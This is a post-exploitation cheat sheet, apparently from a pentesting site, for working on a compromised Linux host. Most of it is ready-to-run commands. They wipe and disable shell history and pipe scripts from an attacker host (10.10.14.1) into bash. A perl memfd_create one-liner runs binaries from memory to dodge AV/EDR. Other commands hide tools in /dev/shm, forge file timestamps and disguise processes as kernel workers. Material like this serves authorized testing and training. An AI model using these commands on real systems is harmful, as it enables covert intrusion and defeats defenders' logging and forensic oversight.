Shell & Tooling

Sections Shell & Tooling

What to do after you have a shell on the target. For getting the shell in the first place, see Reverse Shells and 04 Initial Access .

i. Silence the shell

Disable history, locale, less and friends, before doing anything noisy:

unset HISTFILE
export HISTFILE=/dev/null
export HISTSIZE=0
export LESSHISTFILE=/dev/null
export MYSQL_HISTFILE=/dev/null
export PYTHONHISTFILE=/dev/null
export REDISCLI_HISTFILE=/dev/null

Leading-space trick, any command starting with a space is not logged (bash with HISTCONTROL=ignorespace):

 id            ## leading space, not in history

Wipe existing user history before logout:

cat /dev/null > ~/.bash_history
history -c

ii. Set a usable environment

The shell you land in is usually broken. Fix it once:

export TERM=xterm-256color
export SHELL=/bin/bash
export PATH=$PATH:/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin
export LANG=C.UTF-8
stty rows 50 columns 200

A working prompt so you can see where commands end:

PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '

For TTY upgrade steps, see Reverse Shells -> section vi.

iii. Useful aliases on the foothold

alias ll='ls -lah'
alias ..='cd ..'
alias g='grep -RIn --color=auto'
## find writable files only as current user
alias fwrite='find / -type f -writable 2>/dev/null | grep -v "/proc"'
## find SUID binaries
alias fsuid='find / -perm -4000 -type f 2>/dev/null'

iv. tmux for session survival

Reconnect after SSH disconnect, run linpeas in background, do parallel work:

tmux new -s work
## Detach: Ctrl-b d
## Reattach: tmux a -t work
## List: tmux ls

Drop tmux on the target when it’s missing (static binary):

## On attacker, fetch a static tmux
curl -L -o tmux https://github.com/permaweb/tmux-static/releases/latest/download/tmux-linux-amd64
## Upload via [File Transfer](https://jinpwn.dev/cheatsheets/misc/file-transfer/), then on target:
chmod +x tmux && ./tmux

v. Static binaries to keep in your kit

When the target lacks tools, drop pre-built statics:

  • busybox — every coreutil in one binary, when /bin is hollowed out
  • socat — port forwards, TLS, Reverse Shells
  • chisel — reverse SOCKS, see Pivoting
  • ligolo agent — L3 tunnel, see Pivoting
  • pspy64 — cron and process spy without root, see 05 Local Enum
  • linpeas.sh — automated triage, see 05 Local Enum
  • nmap — when you need to scan from the foothold
  • curl/wget static — when neither is installed

Mirror them once on attacker, serve from one HTTP root:

mkdir ~/kit && cd ~/kit
curl -LO https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
curl -LO https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64
curl -LO https://github.com/jpillora/chisel/releases/latest/download/chisel_1.10.1_linux_amd64.gz
gunzip chisel_*.gz && mv chisel_* chisel
chmod +x pspy64 chisel linpeas.sh
python3 -m http.server 80

vi. Drop and run from memory (no disk write)

Runs the script without ever creating a file, dodges file-based AV/EDR:

curl -s http://10.10.14.1/linpeas.sh | bash
wget -qO- http://10.10.14.1/linpeas.sh | bash

For binaries, memfd_create trick (no disk artifact, needs perl or python):

## Pull pspy64 and exec it from a memfd:
curl -s http://10.10.14.1/pspy64 | perl -e 'use POSIX; my $fd=syscall(319,"x",1); open(my $f,">&=$fd"); print $f <STDIN>; exec {"/proc/$$/fd/$fd"} "pspy"'
Disk-writing is loud

If EDR is in play, every file you drop is a sample for analysis. Pipe straight from curl | bash, use python -c, or use /dev/shm/ (RAM-backed, often unmonitored) instead of /tmp/.

vii. Where to put things

/dev/shm/    ## RAM-backed, fast, often unmonitored, cleared on reboot
/tmp/        ## monitored by many EDRs, sticky bit set
/var/tmp/    ## persistent across reboots, less monitored than /tmp
~/.cache/    ## blends in for user-owned files
~/.config/   ## same, looks like normal app data

Touch timestamps to match a system file so they blend:

touch -r /etc/passwd /dev/shm/.tool

viii. Hide a running process (quick OpSec)

Rename a process via exec -a:

(exec -a "[kworker/0:1]" ./pspy64 &)

Move binary to a name that looks legit:

cp ./linpeas.sh /dev/shm/.dbus-update
bash /dev/shm/.dbus-update

ix. Check what you have before pulling tools

Always check what is already on the box, avoid downloading what’s local:

command -v python3 python perl ruby gcc make nc ncat socat wget curl nmap masscan
ls -la /usr/bin/ | grep -E 'python|perl|ruby|nc|socat|gcc'
Less is more

If the box has python3 and curl, you do not need to drop ten static binaries. Use what’s there, leave nothing behind.